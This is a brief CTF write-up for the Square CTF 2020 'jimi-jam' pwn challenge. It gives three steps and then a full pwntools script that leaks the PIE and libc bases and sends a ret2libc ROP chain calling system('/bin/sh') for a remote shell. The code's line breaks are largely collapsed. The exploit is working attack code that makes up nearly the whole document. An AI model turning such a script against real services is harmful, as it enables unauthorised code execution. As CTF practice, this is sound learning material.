1. Calculate pie base using the logged address2. Leak libc base3. Ret2libc
```pyfrom pwn import *
local = False
host = 'challenges.2020.squarectf.com'port = 9000
elf = ELF('./jimi-jam')rop = ROP(elf)
if local:    p = elf.process()    libc = ELF('/usr/lib/libc.so.6')else:    p = remote(host, port)    libc = ELF('./libc.so.6')
PUTS_PLT= 0x10b0MAIN_PLT = elf.symbols['main']
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]RET = rop.find_gadget(['ret'])[0]
OFFSET = b'A' * (16)
log.info("puts@plt: " + hex(PUTS_PLT))log.info("main@plt: " + hex(MAIN_PLT))log.info("POP RDI: " + hex(POP_RDI))
print(p.recvuntil('here! ').decode())leak = p.recvline().decode()print(leak)leak = int(leak, 16)
print(hex(elf.got['puts']))
# Calculate pie basebase = leak - 0x4060
puts_got_addr = base + 0x3fa0
POP_RDI += basePUTS_PLT += baseMAIN_PLT += baseRET += base
# Function to leak puts addressdef get_addr():    FUNC_GOT = puts_got_addr
    print(f"POP_RDI: {hex(POP_RDI)}")    print(f"FUNC_GOT: {hex(FUNC_GOT)}")    print(f"PUTS_PLT: {hex(PUTS_PLT)}")    print(f"MAIN_PLT: {hex(MAIN_PLT)}")    print(f"RET: {hex(RET)}")
    rop_chain = [        POP_RDI, FUNC_GOT,        PUTS_PLT,        MAIN_PLT,    ]
    rop_chain = b''.join([p64(i) for i in rop_chain])    payload = OFFSET + rop_chain     print(p.recvuntil('JAIL\n').decode()) log.info(payload)
    p.sendline(payload)
    received = p.recvline().strip()    print(received)    leak = u64(received.ljust(8, b'\x00'))    libc.address = leak - libc.symbols['puts']
    return hex(leak)
log.info('Leak: ' + get_addr())log.info('Libc base: ' + hex(libc.address))
BIN_SH = next(libc.search(b'/bin/sh'))SYSTEM = libc.symbols['system']EXIT = libc.symbols['exit']
# Final rop chain to pop a shellROP_CHAIN = [    RET,    POP_RDI, BIN_SH,    SYSTEM,    EXIT,]
ROP_CHAIN = b''.join([p64(i) for i in ROP_CHAIN])
payload = OFFSET + ROP_CHAIN
print(payload)print(p.recvuntil("JAIL\n"))
p.sendline(payload)
p.interactive()
```
P.S. This is an unnecessarily long script :P